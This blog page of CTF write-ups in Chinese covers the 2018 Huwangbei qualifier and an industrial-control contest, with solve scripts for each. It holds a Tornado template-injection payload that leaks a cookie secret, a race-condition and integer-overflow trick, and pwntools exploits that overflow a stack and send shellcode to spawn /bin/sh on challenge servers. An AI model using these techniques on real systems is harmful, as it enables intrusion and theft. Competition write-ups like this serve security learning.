The result of tag: (3 results)

2018护网杯线上赛writeup

by LauCyun Oct 14,2018 02:13:24 17,243 views

昨天护网杯的预选比赛落下帷幕,最终排名如图1所示:


图1 排行榜

赛题附件和Web题的Docker环境(部分)传送门:https://git.laucyun.com/laucyun/ctf/tree/master/2018/2018年护网杯

0x1 MISC

1 迟来的签到

题目提示easy xor???,下载一个txt文件,文件内容如下:

AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs=

显然Base64,那就写个脚本直接爆破异或,脚本如下:

import base64

d = "AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs="
d = base64.b64decode(d)

for i in range(255):
    s = ''
    for j in d:
        s = s + chr(i ^ ord(j))

    if 'flag' in s:
        print s

最终得到flag{0E67926A6FC19E31A45A638DE1B7DECC}

0x2 WEB

1 easy tornado

赛后出题人share了其Docker环境:easy_tornado

进入题目网站,发现三个文件,如图2所示:


图2 easy tornado

分别打开,列出URL和内容:

http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a

Orz.txt 
render()


http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1

hint.txt 
md5(cookie_secret + md5(filename))


http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72

flag.txt 
/fllllllllllag

发现规律如下:

http://49.4.78.81:30980/file?filename=[文件名]&signature=[签名]

签名是md5(cookie_secret + md5(filename))

关键点在于找到cookie_secret

根据题目描述可知使用了tornoda框架,进去后根据提示信息render和需要cookie_secret猜测会存在注入,把签名随便改一下就会跳转到错误页面,所以错误页面存在注入。

测试发现过滤了`"%'()*+/=[]|`和一些关键字,输入:

http://49.4.78.81:30980/error?msg={{1^0}}


图3 easy tornado提示信息

到这里可以确定可以进行模板注入。

通过阅读tornado的源码https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py,找到handler.settings保存了配置信息,于是尝试输入http://49.4.78.81:30980/error?msg={{handler.settings}},得到:

Whoops, looks like somethings went wrong . 
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}

构造URL为?filename=/fllllllllllag&signature=20e954ed0f6c471e2ea1f151c7bb6334,最终得到flag如图4所示:


图4 easy tornado flag 

2 LTshop

本题的考点在于条件竞争以及整数的溢出问题。

首先进入网页后,观察到有sign up,然后sign in,进入一个买辣条的界面(如图5),可以知道5元可以买一包大辣条,多包大辣条可以换一包辣条之王,多包辣条之王可以换Flag。


图5 LTshop

进入info查看余额,发现,至多可以买4包大辣条,不满足辣条之王的兑换。

尝试条件竞争,打开Burpsuit,购买一包大辣条,抓取其数据,发送到Intruder,点击Positions,设置100个线程,如图6所示:


图6 多线程买辣条

等待一段时间后,发现发现买的数量明显超过预期,但远远买不到足够的辣条之王。

此时发现辣条之王有填写兑换数,不同数量的反馈是不同的,比如:购买2个,提醒的是大辣条数量不足,而购买-1个或者99999999999999999999则是数量非法,所以我们可以猜测题目使用uint64作为变量的类型。

可以推测题目的逻辑如下:

var number uint
if number * 5 <= 大辣条数目 {
    辣条之王 += number
}

很明显存在着乘法上溢问题,如果构造num = 3689348814741910324,经过测试可得 number * 5 = 44 <= 5 成立

i = 2**64 / 5 + 1   # 3689348814741910324
j = i * 5 - 2 ** 64 # 4

所以溢出后的值比较小,在辣条的数量之内,从而兑换成功。


图7 兑换成功

注意:溢出的时候不能太大,因为太大导致溢出后的值过大而超过辣条的数量,就会出现兑换数目非法。

而此时已经有近乎无限的辣条之王。。。再兑换Flag,即可得到flag,如图8所示:


图8 LTshop flag

3 easy_laravel

赛后找到了出题者@sco4x0的出题记录:护网杯2018 easy_laravel出题记录,Docker环境:easy_laravel

0x3 CRYPTO

1 fez

 题目给了fez.pyfez.log两个文件,文件内容如下:

fz.py:

import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)
def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)
    return new_l+new_r
def fez(m,K):
    for i in K:
        m=round(m,i)
    return m

K=[]
for i in range(7):
    K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")

fez.log:

6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f
8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990
ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb

 通过观察fez.py文件,知道它是读入了一个flag文件,补足到54个长度,然后对flag进行加密,然后最后三个print出来的就在fez.log文件里面。

这里os.urandom(length)作用是生成一个随机内容的,长度为length的字符串。

显然,想解出flag必须知道test、 KK是长度为7list,每个元素对应一个随机字符串。

我们观察fez()函数以及调用方法可以发现,然后进行推导,如图9所示:


图9 fez推导过程

等号两边同时异或:a ^ a ^ b = b,相同xor抵消。

解密就很简单了,编写脚本如下:

def xor(a, b):
    assert len(a) == len(b)
    c = ""
    for i in range(len(a)):
        c += chr(ord(a[i]) ^ ord(b[i]))
    return c


log = [
    '6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f',
    '8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990',
    'ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb'
]
t_L = log[0][:54].decode("hex")
t_R = log[0][54:].decode("hex")

k2356 = xor(log[1][:54].decode("hex"), t_R)
k13467 = xor(xor(log[1][54:].decode("hex"), t_R), t_L)

m_R = xor(log[2][:54].decode("hex"), k2356)
m_L = xor(xor(log[2][54:].decode("hex"), m_R), k13467)

print m_L + m_R  # flag{festel_weak_666_lol9991234admin}�a��&��Y����w�'�

最后解的flag是flag{festel_weak_666_lol9991234admin}

2 WPA2

一个关于WPA2协议的题目,而且WPA2采用的是CMMP加密。

根据nc返回来的内容如下:

$ nc 117.78.26.200 31322

Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters..

SSID = HuWang

PSK = IOsw5WndwoYO2UmC

AP_MAC = FD:A4:2C:4E:AB:39

AP_Nonce = e241d7bb7a6a5a8cf89c5597a8ac7f1e9c2f878e124809c9f95dd5b35061120e

STA_MAC = C9:42:E9:BC:A6:E9

STA_Nonce = d98aae66ab2c231a0ae01d5a72df46b75d24313aa35bac1fe79516f4c022ca6f

CCMP Encrypted Packet = 88423a01c942e9bca6e9fda42c4eab39fda42c4eab396092000062a300208d0000003ac5d4f9b099a573adf0021a037a46cfb469dc9e3891c8202d499faff9e6873459fb21ab30beae519d

根据PSKMACNounce可以得到加密的密钥。

后来主办方又给出了task_WPA2.py,通过阅读代码,了解到更多的加密细节。

#!/usr/bin/env python

import hmac
from hashlib import pbkdf2_hmac,sha1,md5
from Crypto.Cipher import AES
import string
import random
import struct

def PRF(key,A,B):
	nByte = 48
	i = 0
	R = ''
	
	while ( i <= ((nByte*8 + 159)/160)):
		hmacsha1 = hmac.new(key,A+"\x00" + B + chr(i),sha1)
		R += hmacsha1.digest()
		i += 1
	return R[0:nByte]

def MakeAB(aNonce,sNonce,apMac,cliMac):
	A = "Pairwise key expansion"
	B = min(apMac,cliMac) + max(apMac,cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
	return (A,B)

def MakeKeys(pwd,ssid,A,B):
	pmk = pbkdf2_hmac('sha1',pwd,ssid,4096,32)
	
	ptk = PRF(pmk,A,B)
	
	return (ptk,pmk)
def XOR(b1,b2,l):
	if (len(b1)<l or len(b2)<l):
		return None
	res = ''
	for i in range(l):
		res += chr(ord(b1[i]) ^ ord(b2[i]))
	if (len(b1)>l):
		res += b1[l:]
	return res

def EncryptCCMP(indata,TK,PN):
    if len(TK) != 16 or len(PN) != 6:
        return None

    is_a4 = (ord(indata[1]) & 0x03) == 3
    is_qos = (ord(indata[0]) & 0x8c) == 0x88

    z = 24 + 6 * (1 if is_a4 else 0)
    z += 2 * (1 if is_qos else 0)

    h80211 = list(indata)

    h80211[z + 0] = PN[5]
    h80211[z + 1] = PN[4]
    h80211[z + 2] = '\x00'
    h80211[z + 3] = '\x20'
    h80211[z + 4] = PN[3]
    h80211[z + 5] = PN[2]
    h80211[z + 6] = PN[1]
    h80211[z + 7] = PN[0]

    inputpkt = ''.join(h80211)

    data_len = len(inputpkt) - z - 8
    B0 = ''
    B0 += '\x59'
    B0 += '\x00'
    B0 += inputpkt[10:16]
    B0 += PN
    B0 += chr((data_len >> 8) & 0xFF)
    B0 += chr(data_len & 0xFF)

    AAD = '\x00' * 2  # [0] [1]

    AAD += chr(ord(inputpkt[0]) & 0x8F)  # [2]
    AAD += chr(ord(inputpkt[1]) & 0xC7)  # [3]
    AAD += inputpkt[4:4 + 3 * 6]  # [4]..[21]
    AAD += chr(ord(inputpkt[22]) & 0x0F)  # [22]

    AAD += '\x00'  # [23]

    if (is_a4):
        AAD += inputpkt[24:24 + 6]  # [24]..[29]
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [30]
            AAD += '\x00'  # [31]
            tmp = list(B0)
            tmp[1] = AAD[30]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2 + 6)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [30]..[31]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 6)
            AAD = ''.join(tmp)
    else:
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [24]
            AAD += '\x00'  # [25]
            tmp = list(B0)
            tmp[1] = AAD[24]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [24]..[25]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22)
            AAD = ''.join(tmp)
        AAD += '\x00' * 6

    cipher = AES.new(TK, AES.MODE_ECB)
    MIC = cipher.encrypt(B0)
    MIC = XOR(MIC, AAD, 16)
    MIC = cipher.encrypt(MIC)
    MIC = XOR(MIC, AAD[16:], 16)
    MIC = cipher.encrypt(MIC)

    tmp = list(B0)
    tmp[0] = chr(ord(tmp[0]) & 0x07)
    tmp[14] = '\x00'
    tmp[15] = '\x00'
    B0 = ''.join(tmp)

    B = cipher.encrypt(B0)
    initMIC = B

    blocks = (data_len + 16 - 1) / 16
    last = data_len % 16
    offset = z + 8

    encryptedPacket = ''

    for i in range(1, blocks + 1):
        n = last if (last > 0 and i == blocks) else 16
        MIC = XOR(MIC,inputpkt[offset:offset+n],n)
        MIC = cipher.encrypt(MIC)
        tmp = list(B0)
        tmp[14] = chr((i >> 8) & 0xFF)
        tmp[15] = chr(i & 0xFF)
        B0 = ''.join(tmp)
        B = cipher.encrypt(B0)
        out = XOR(inputpkt[offset:offset + n], B, n)
        encryptedPacket += out


        offset += n

    encryptedPacket = inputpkt[:z+8] + encryptedPacket
    encryptedPacket += XOR(initMIC,MIC,8)[:8]

    return encryptedPacket

if __name__=="__main__":

	print "Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters.."
	print ""
	
	ssid = "HuWang"
	
	psk = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
	rnddev = open("/dev/urandom","rb")
	
	aNonce = rnddev.read(32)
	
	sNonce = rnddev.read(32)
	
	apMac = rnddev.read(6)
	
	staMac = rnddev.read(6)
	
	rnddev.close()
	
	print "SSID = "+ssid
	print ""
	
	print "PSK = "+psk
	print ""
	
	outmac=apMac.encode('hex').upper()
	macaddr = ''
	for i in range(len(outmac)):
		macaddr += outmac[i]
		if (i%2!=0 and i<len(outmac)-1):
			macaddr+=':'
	print "AP_MAC = "+macaddr
	print ""
	
	print "AP_Nonce = "+aNonce.encode('hex')
	print ""
	
	outmac=staMac.encode('hex').upper()
	macaddr = ''
	for i in range(len(outmac)):
		macaddr += outmac[i]
		if (i%2!=0 and i<len(outmac)-1):
			macaddr+=':'
	
	print "STA_MAC = "+macaddr
	print ""
			
	print "STA_Nonce = "+sNonce.encode('hex')
	print ""
	
	A,B = MakeAB(aNonce,sNonce,apMac,staMac)
	
	ptk,pmk = MakeKeys(psk,ssid,A,B)
	
	key = ptk[-16:]
	
	chlvalue = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
	challenge = "Challenge Vlaue: "+chlvalue
	
	
	datapkt = ("88423a01"+staMac.encode('hex')+apMac.encode('hex')+apMac.encode('hex')+"60920000"+"0000002000000000"+challenge.encode('hex')).decode('hex')
	
	packetNumber = struct.pack(">Q",random.randint(1,9999999))[2:]
	
	outtoUser = EncryptCCMP(datapkt,key,packetNumber)
	
	print "CCMP Encrypted Packet = "+outtoUser.encode("hex")
	print ""
	
	userinput = raw_input("Input decrypted challenge value in Packet:")
	print ""
	
	if (userinput == chlvalue):
		f = open("flag","r")
		content = f.read()
		f.close()
		print "Congratulations!Your flag is: "+content
	else:
		print "Wrong!"

根据代码可以先进行解包,从网络包中得到真正的密文部分,然后用密钥进行解密即可。

通过SSID、PSK、AP_MAC、STA_MAC、STA_Nonce、CCMP等关键字搜索WPA2的加密模式,最终搜到@REMath大神的80211_Crypto.ipynb,改了改直接就OK Hand了,脚本如下:

from binascii import a2b_hex, b2a_hex, a2b_qp
from pbkdf2 import PBKDF2
import hmac
from hashlib import sha1
import struct
from Crypto.Cipher import AES


def PRF512(key, A, B):
    blen = 64
    R = ''
    for i in range(0, 4):
        hmacsha1 = hmac.new(key, A + B + chr(i), sha1)
        R = R + hmacsha1.digest()
    return R[:blen]


def frame_type(packet):
    header_two_bytes = struct.unpack("h", (packet[0:2]))[0]
    fc_type = bin(header_two_bytes)[-8:][4:6]
    if fc_type == "10":
        return "data"
    else:
        return None


def compute_pairwise_master_key(preshared_key, ssid):
    return PBKDF2(preshared_key, ssid, 4096).read(32)


def compute_message_integrity_check(pairwise_transient_key, data):
    return hmac.new(pairwise_transient_key[0:16], data, sha1).digest()[0:16]


def compute_pairwise_transient_key(pairwise_master_key, A, B):
    return PRF512(pairwise_master_key, A, B)


ssid = "HuWang"
preshared_key = "IOsw5WndwoYO2UmC"
ap_mac = "FD:A4:2C:4E:AB:39".replace(":", "")
ap_nonce = "e241d7bb7a6a5a8cf89c5597a8ac7f1e9c2f878e124809c9f95dd5b35061120e"
mac = "C9:42:E9:BC:A6:E9".replace(":", "")
mac_nonce = "d98aae66ab2c231a0ae01d5a72df46b75d24313aa35bac1fe79516f4c022ca6f"
ccmp_encrypted_packet = "88423a01c942e9bca6e9fda42c4eab39fda42c4eab396092000062a300208d0000003ac5d4f9b099a573adf0021a037a46cfb469dc9e3891c8202d499faff9e6873459fb21ab30beae519d"

# From message 2 in handshake QoS data for 802.11, packet 95 in example pcap
message_2_data = ccmp_encrypted_packet
message_2_data = a2b_hex(message_2_data)

message_intgrity_code = message_2_data[115:131]
data = message_2_data[34:115] + "\x00" * 16 + message_2_data[131:]

# authenticator nonce found in message 1 of handshake, packet 93 in example
a_nonce = a2b_hex(ap_nonce)

# supplicant nonce found in message 2 of handshake, packet 95 in example
s_nonce = a2b_hex(mac_nonce)

mac_access_point = a2b_hex(ap_mac)
mac_client = a2b_hex(mac)

A = "Pairwise key expansion" + '\x00'
B = min(mac_access_point, mac_client) + max(mac_access_point, mac_client) + min(a_nonce, s_nonce) + max(a_nonce, s_nonce)

pairwise_master_key = compute_pairwise_master_key(preshared_key, ssid)
pairwise_transient_key = compute_pairwise_transient_key(pairwise_master_key, A, B)
mic = compute_message_integrity_check(pairwise_transient_key, data)

#
key_confirmation_key = pairwise_transient_key[0:16]
key_encryption_key = pairwise_transient_key[16:16 * 2]
temporal_key = pairwise_transient_key[16 * 2:(16 * 2) + 16]
mic_authenticator_tx = pairwise_transient_key[16 * 3:(16 * 3) + 8]
mic_authenticator_rx = pairwise_transient_key[(16 * 3) + 8:(16 * 3) + 8 + 8]

#
packet_103_encrypted_total_packet = ccmp_encrypted_packet
packet_103_encrypted_total_packet = a2b_hex(packet_103_encrypted_total_packet)
packet_103_encrypted_data = packet_103_encrypted_total_packet[34:34 + 84]

#
ccmp_header = packet_103_encrypted_total_packet[26:26 + 8]
ieee80211_header = packet_103_encrypted_total_packet[0:26]
source_address = packet_103_encrypted_total_packet[10:16]

#
PN5 = ccmp_header[7]
PN4 = ccmp_header[6]
PN3 = ccmp_header[5]
PN2 = ccmp_header[4]
PN1 = ccmp_header[1]
PN0 = ccmp_header[0]

last_part_of_nonce = PN5 + PN4 + PN3 + PN2 + PN1 + PN0

flag = a2b_hex('01')
qos_priorty = a2b_hex('00')

#
nonce_ = qos_priorty + source_address + last_part_of_nonce
IV = flag + nonce_


#
class WPA2Counter(object):
    def __init__(self, secret):
        self.secret = secret
        self.current = 1

    def counter(self):
        count = a2b_hex(struct.pack('>h', self.current).encode('hex'))
        i = self.secret + count
        self.current += 1
        return i


#
counter = WPA2Counter(IV)
crypto = AES.new(temporal_key, AES.MODE_CTR, counter=counter.counter)
test = packet_103_encrypted_data[0:-8]
print crypto.decrypt(test)

得到的是16byte随机的challenge value,得到flag是flag: flag{6ae7ecdd73a5d4fa1d34f5f7b447ca58}

0x4 PWN

1 gettingStart

先下载task_gettingStart_ktQeERc,拖进IDA,进到main函数中,然后直接F5看伪代码,如图10所示:


图10 gettingStart伪代码

看到read(0, &buf, 0x28uLL);后,这明显就是栈溢出。

通过分析发现,栈是由向下往高地址生长,bufv7的偏移是0x18,到v8的偏移是0x20,所以直接覆盖v7(0x7FFFFFFFFFFFFFFF)v8(0.1)的数据达到条件即可获得shell。

但是64位的double 0.1在内存是咋样存储的呢?最终找到如图11所示:

double 0.1在内存中的存储形式,具体可以参考:https://math.stackexchange.com/questions/1791562/converting-0-1-to-binary-64-bit-double


图11 64位double 0.1的内存存储形式

所以构造exp脚本:

from pwn import *

# p = process("./task_gettingStart_ktQeERc")
p = remote("49.4.78.31", 30482)
p.recv()
payload = '\0' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.send(payload)
p.interactive()

最终得到的flag是flag{e47ba37e5e4fe4d6538f91955c63ef23}

2 six

非常巧,本题跟云贵铁三赛中PWN第三题,只不过由七字节的shellcode变成六字节的shellcode,其他都没有变化。

本题思路来源于@pwndog师傅的http://www.pwndog.top/2018/08/23/一个有趣的PWN-铁三云贵第三题

先下载task_attachments_csyNf1R.zip,先用checksec查看一下程序保护情况,如图12所示:


图12 checksec

全保护开启。。。

拖进IDA,进到main函数中,然后直接F5看伪代码,如图13所示:


图13 main函数

发现main函数中调用了sub_9CA();sub_B05((__int64)&s);两个函数,其伪代码如图14、15所示:


图14 sub_9CA函数


图15 sub_B05函数

 在sub_9CA();函数中,程序申请了两块0x1000的内存,分别用作栈和代码段,v3有可读可写可执行权限,buf有可写可执行权限。

mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。mmap在用户空间映射调用系统中作用很大。

函数原型:void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);

  • prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起:
    • PROT_READ     //页内容可以被读取
    • PROT_WRITE  //页可以被写入
    • PROT_EXEC      //页内容可以被执行
    • PROT_NONE   //页不可访问

接着输入6个字节的shellcode,放入刚才mmap的空间中,然后执行shellcode,而且shellcode要满足:3个奇数,3个偶数,并且不能相同,如图15所示。

可以看到生成的方法是用/dev/urandom的随机数,一开始看到这个生成方法时觉得二者是不可能连在一起的,但是当这两个地址冲突或者不符合条件时,mmap会随机分配这个地址,而当二者均随机分配时,则这两个地址是相连的。这个前提解决了很多问题,节省了很多指令。

而在执行shellcode时,预先将除rsprip其他寄存器全部置零了:


图16 寄存器置零

当两块内存相连时,如果从rsp进行覆写的话,是可以覆写到代码段的。

因此shellcode如下:

push   rsp
pop    rsi
mov    edx, esi
syscall

如此,便可以从栈上向代码段一直写入,直到写入现在的rip,所以接下来覆盖要执行的指令如下:

mov    eax, 0x3b
mov    rdi, rsi
xor    rdx, rdx
xor    rsi, rsi
syscall

所以,构造exp脚本如下:

from pwn import *

# context.binary = "./six"
# context.log_level = "debug"
# context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

def main(debug, ip, port):
    if debug == 1:
        p = process("./six")
    else:
        p = remote(ip, port)

    # shellcode
    p.readuntil("Show Ne0 your shellcode:")
    # shellcode = asm("""
    # push   rsp
    # pop    rsi
    # mov    edx, esi
    # syscall
    # """)  # 545e89f20f05
    shellcode = chr(0x54) + chr(0x5e) + chr(0x89) + chr(0xf2) + chr(0x0F) + chr(0x05)
    p.send(shellcode)
    
    # payload
    # shell = asm("""
    # mov    eax, 0x3b
    # mov    rdi, rsi
    # xor    rdx, rdx
    # xor    rsi, rsi
    # syscall
    # """)  # b83b0000004889f74831d24831f60f05
    # shell += "/bin/sh\0"  # 2f62696e2f736800
    sl = [
        0xb8, 0x3b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf7, 0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x0f, 0x05,
        0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    ]
    shell = ""
    for i in range(0, len(sl)):
        shell += chr(sl[i])
    payload = '\0' * 0xb36 + shell
    p.writeline(payload)
    p.interactive()


if __name__ == '__main__':
    main(0, '117.78.26.97', 32200)

最终即可得到flag。

0x5 修改记录

Oct 14,2018 02:13:24:撰写并发布。

Oct 16,2018 10:15:24:添加赛题附件和Web题的Docker环境链接,修改部分附件下载链接。

...

Tags Read More


2018年工业信息安全技能大赛(东北赛区)解题报告——梯形图运算

by LauCyun Aug 07,2018 10:11:15 11,888 views

前面,《2018年工业信息安全技能大赛(东北赛区)解题报告——工业网络数据分析》介绍了工业控制网络流量部分的解题思路,而本文将介绍梯形图运算部分的解题思路。

0x01 梯形图运算1(200分)

1 赛题描述

赛题如图1所示,附件下载:question_1531222405_8edje2o39d3d.zip


图1 赛题7

启动M0.01DB1.DBD8的运算结果,结果为十六进制结果。

2 解题思路

该题目为工业领域常见的梯形图分析,属于应用编程类的题目,可以使用针对的工控编程软件将其打开进行分析。本题是由西门子STEP7-Micro/Win编写的梯形图算法,有条件的同学可以直接使用STEP7-Micro/Win软件进行分析,没有的同学也不要灰心,请看下面的分析过程。

本题目一并给出了程序的源文件及程序截图,我们可以直接看截图并分析,如图2所示:


图2 程序段1-3

上图2中的内容由三段程序组成,我们一次来分析;

2.1 程序段1分析

本段程序只是一个简单的自锁程序,当M0.01时,Q0.0的输出为1,并且由于Q0.0的输出变成自己的输出,则Q0.0一直保持1的输出。

所以,通过第一段程序,我们知道一旦有M0.01,则Q0.0会一直保持输出。

2.2 程序段2分析

接下来在分析第二段程序的内容:

首先这段程序使用了S_PEXT处理模块,S_PEXT模块是扩展定时器模块,当输入S1时,Q的输出会在TV时间段内保持1的输出,当TV的计时时间到,A的输出就是变为0

所以,在Q0.0保持输出的时间内,Q0.1会产生一个1秒的方波,即Q0.1会维持一个1S内输出为1的状态。

2.3 程序段3分析

首先这段程序使用了MOVE处理模块,MOVE是一个赋值运算器,但输入信号EN1时,MOVE模块会将IN的输入值赋值给OUT指定的存储单元。

所以,此时根据前两段的输出结果,此时DB1.DBD0会被赋值为5.045000e+001

2.4 程度段4分析

程序段如下图3所示:


图3 程序段4-5

首先这段程序继续使用了MOVE处理模块。

所以,在前三段的运行结果上,程序段4的运行结果为DB1.DBD4的值为4.000000e+001

2.5 程序段5分析

首先这段程序使用了MUL_R处理模块,MUL_R处理模块是一个浮点数运算模块,其将IN1IN2的值相乘之后,将值赋值给OUT

所以,在前4段运行结果的基础上,程序段5的运行结果为50.45x40 = 2018,最后将2018换成十六进制为0x07E2

0x02 梯形图运算2(300分)

1 赛题描述

赛题如图4所示,附件下载:question_1531222212_aQiWuoVymW2TtMOY.zip


图4 赛题6

启动M10.01tag_10的运算结果,结果为十六进制结果。

2 解题思路

同样,本题也是梯形图分析,我们可以直接看截图并分析,如图5所示:


图5 程序段1

2.1 程序段1分析

在这里使用到一个TON延时定时器,该定时器为当输入IN1时,定时器开始工作,并大于定时时间pt时,Q输出为1。当IN输入为0时,定时器停止工作并清零。

所以,这段程序是当M10.01时,M10.1会产生一个时间为1秒的方波。并且%MW100的数值为5

2.2 程序段2分析

接下来在分析第二部图型图内容,如图6所示:


图6 程序段2-3

首先这段程序使用CTU处理模块,CTU模块是只加计数器,当输入CU有一个上升沿的时候,就会对CV的输出进行加1处理。当CV的数据达到PV的上限的时候,CV就不再进行计算处理,并且此时Q的输出为1,其他时间Q的输出都为0

所以,程序段2的内容就是%MW110M10.1的脉冲下进行累加1处理,当大于%MW100的时候不在进行运算处理,而此时的%MW110的输出结果为5

2.3 程序段3分析

首先,这段程序使用了MUL处理模块,MUL是一个乘法运算器,但输入信号EN1时,IN1IN2进行乘法运算,并将结果输出到%MW120中。

所以,本段程序的内容就是当M10.11时,并且%MW110中的数据大于或者等于%MW100时,对%MW110中的数据与100相乘并赋值给%MW120中。

此时根据前两段的输出结果,这里的输出结果%MW120的结果为500

2.4 程度段4分析


图7 程序段4

首先,这段程序使用了SWAP处理模块和OR处理模块,SWAP处理模块时将IN的数据的高低字节进行交互,如0x1234的交换结果为0x3412OR处理模块时对IN1的数据与IN2的数据进行OR(与操作)。如0x0012 OR 0x1200的处理结果就是0x1212

所以,本段程序的分析结果就是对%MW120的数据进行高低字节交换后赋值给%MW130。当程序段2中的计数器计算完之后,将%MW130%MW120的数据进行OR操作,并叫最终结果输出到%MW140中,这个就是我们要寻找的结果。

根据程序段3的结果,此时%MW120的数值为500,转换成十六进制是0x01F4,而%MW130的结果为0xF401,在经过OR操作后,%MW140的最终结果就是0xF401 OR 0x01F4运算结束后的结果为0xF5F5

...

Tags Read More


2018年工业信息安全技能大赛(东北赛区)解题报告——工业网络数据分析

by LauCyun Jul 20,2018 00:57:17 28,473 views

当前,随着中国制造2025战略深入推进,工业控制系统从单机走向互联、从封闭走向开放、从自动化走向智能化,安全漏洞和隐患不断涌现、安全事件频繁发生。我国面临的工业信息安全形势日益严峻。

图1 2018年工业信息安全技能大赛(东北赛区)开幕式

2018年工业信息安全技能大赛(东北赛区)分为漏洞挖掘赛和夺旗赛,其夺旗赛大概可分为工业网络数据分析工控固件逆向工控安全分析三个部分。

本文将介绍工业控制网络流量部分的解题思路,当然本文的思路不一定是最好的。仅仅作为抛砖,欢迎大家下载赛题来玩!

0x01 电力工控数据分析1(200分)

1 赛题描述

赛题如图2所示,附件下载:question_1531222544_JYvFGmLP49PFC0R2.pcap


图2 赛题

2 解题思路

考虑到题目是了解MMS规约,发现数据中隐藏的Flag,所以可以先排除非MMS协议的数据包。

用wireshark打开数据包并选择MMS协议进行过滤,如图3所示:


图3 过滤后MMS协议的数据包

经过MMS协议过滤后,共有1838个MMS协议的数据包,发现共有四个PDU(协议数据单元),分别是:Initiate-RequestPDU (启动-请求PDU)Initiate-ResponsePDU (启动-应答PDU)Confirmed-RequestPDU (确认-请求PDU)Confirmed-ResponsePDU (确认-应答PDU),所以把分析的重点放在Confirmed-RequestPDUConfirmed-ResponsePDU中。

通过分析数据包得知MMS协议的规约中Confirmed-RequestPDUConfirmed-ResponsePDU的结构,如下:

  • Confirmed-RequestPDU包含invokeIDlistOfModifiersconfirmedServiceRequestRequest-detail四个部分组成;
  • Confirmed-ResponsePDU包含invokeIDconfirmedServiceResponseResponse-detail三个部分组成。

接下来,先分析一下数据包中的MMS服务,编写脚本提取出数据包中所用的MMS服务并统计,脚本代码如下:

import pyshark

def get_service():
    try:
        captures = pyshark.FileCapture("question_1531222544_JYvFGmLP49PFC0R2.pcap")
        confirmed_services_request = {}
        confirmed_services_response = {}
        for capture in captures:
            for pkt in capture:
                if pkt.layer_name == "mms":
                    if hasattr(pkt, "confirmedservicerequest"):
                        service = pkt.confirmedservicerequest
                        if service in confirmed_services_request:
                            confirmed_services_request[service] += 1
                        else:
                            confirmed_services_request[service] = 1
                    if hasattr(pkt, "confirmedserviceresponse"):
                        service = pkt.confirmedserviceresponse
                        if service in confirmed_services_response:
                            confirmed_services_response[service] += 1
                        else:
                            confirmed_services_response[service] = 1
        # print
        print(confirmed_services_request)
        print(confirmed_services_response)
    except Exception as e:
        print(e)


if __name__ == '__main__':
    get_service()

脚本运行结果如下:

{'77': 4, '4': 17, '12': 26, '6': 211, '72': 72, '1': 351, '73': 44, '74': 9, '5': 32}
{'77': 4, '4': 17, '12': 26, '6': 211, '72': 72, '1': 351, '73': 44, '74': 9, '5': 32}

